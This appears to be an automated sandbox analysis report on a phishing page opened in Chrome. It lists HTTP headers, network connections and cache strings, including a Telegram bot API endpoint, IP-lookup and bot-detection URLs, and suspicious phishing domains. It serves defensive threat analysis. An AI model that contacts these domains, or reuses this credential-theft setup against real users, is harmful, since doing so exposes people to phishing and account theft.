Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Apr 2025 23:18:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeaccess-control-allow-headers: Content-Type, Authorizationaccess-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-origin: *content-security-policy: default-src 'none'rndr-id: 11da1edd-ff3b-4061vary: Accept-Encodingx-content-type-options: nosniffx-powered-by: Expressx-render-origin-server: Rendercf-cache-status: DYNAMICServer: cloudflareCF-RAY: 92a40b44ce168cbd-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8Content-Length: 1Connection: closeDate: Wed, 02 Apr 2025 23:18:27 GMTx-envoy-response-flags: -Server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffX-Cache: Error from cloudfrontVia: 1.1 01b6e75b22243ae76d6d282c014927c6.cloudfront.net (CloudFront)X-Amz-Cf-Pop: JFK50-P3X-Amz-Cf-Id: rT0TGAgeBFPosNu7i0CKX6XmqkRxTa1QGLjIwvLADOtj2tB_b6Zd9w==
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 02 Apr 2025 23:18:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCf-Ray: 92a40bd9adeb5f83-EWRServer: cloudflareAccept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACf-Mitigated: challengeCritical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originServer-Timing: chlray;desc="92a40bd9adeb5f83"X-Content-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 02 Apr 2025 23:18:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCf-Ray: 92a40bda6d48440b-EWRServer: cloudflareAccept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACf-Mitigated: challengeCritical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originServer-Timing: chlray;desc="92a40bda6d48440b"X-Content-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Apr 2025 23:18:37 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 92a40be33cb9086e-EWRCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+bno"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20393.4 - NCUS ProdSlicesx-ms-request-id: 969e2e6a-3c1d-4d9d-be6e-b67528b81a00x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=100482&min_rtt=99018&rtt_var=22145&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1451&delivery_rate=37456&cwnd=232&unsent_bytes=0&cid=e450dd1999fdf554&ts=402&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Apr 2025 23:18:38 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 92a40bed2f6e4201-EWRCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+bno"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20393.4 - NCUS ProdSlicesx-ms-request-id: 498ef49d-2e3c-4bef-ad60-62d2c31f1500x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=100156&min_rtt=96666&rtt_var=23935&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1486&delivery_rate=38428&cwnd=218&unsent_bytes=0&cid=8304d717a3d513bd&ts=324&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-store, no-cacheContent-Length: 1245Content-Type: text/htmlSet-Cookie: s.SessID=e26f149f-216b-4014-98e4-476f421aaab8; path=/; secure; HttpOnly; SameSite=NoneSet-Cookie: s.SessID=e26f149f-216b-4014-98e4-476f421aaab8; path=/; secure; HttpOnly; SameSite=NoneSet-Cookie: x-portal-routekey=eus; path=/; secure; HttpOnlyx-ms-correlation-id: 0160199f-52d0-452f-9c5c-074b460fa461X-Content-Type-Options: nosniffX-UA-Compatible: IE=EdgeX-Cache: CONFIG_NOCACHEX-MSEdge-Ref: Ref A: 208A8BFB72D1480FB96E26B86AEE41DA Ref B: EWR311000107053 Ref C: 2025-04-02T23:19:05ZDate: Wed, 02 Apr 2025 23:19:05 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-store, no-cacheContent-Length: 1245Content-Type: text/htmlSet-Cookie: x-portal-routekey=eus; path=/; secure; HttpOnlyx-ms-correlation-id: a5988cde-9869-4e87-a7de-378d14dc656fX-Content-Type-Options: nosniffX-UA-Compatible: IE=EdgeX-Cache: CONFIG_NOCACHEX-MSEdge-Ref: Ref A: 6945FB649DDD4074A3225221B978A693 Ref B: EWR311000107025 Ref C: 2025-04-02T23:19:57ZDate: Wed, 02 Apr 2025 23:19:57 GMTConnection: close

Source: chromecache_126.1.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_126.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_120.1.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_97.1.dr, chromecache_120.1.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_99.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_126.1.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_120.1.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_120.1.dr	String found in binary or memory: https://neat.owa-wensglotii.top/
Source: chromecache_101.1.dr	String found in binary or memory: https://netro.gitcombust.shop
Source: chromecache_97.1.dr	String found in binary or memory: https://patnero.thesilent.de/api/get_doc_url
Source: chromecache_120.1.dr	String found in binary or memory: https://rail-bot-production.up.railway.app/api/detect_bot
Source: chromecache_135.1.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_120.1.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.136.93:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.136.93:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.154.53:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.32:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.16:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.1:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.1:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.16:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49830 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6920_8627585

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6920_8627585

Jump to behavior

Source: classification engine

Classification label: mal88.phis.troj.win@32/91@66/21

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,16079603147471412564,16033331980885956932,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tspice.nevendingwaer.shop/10s35o"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,16079603147471412564,16033331980885956932,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
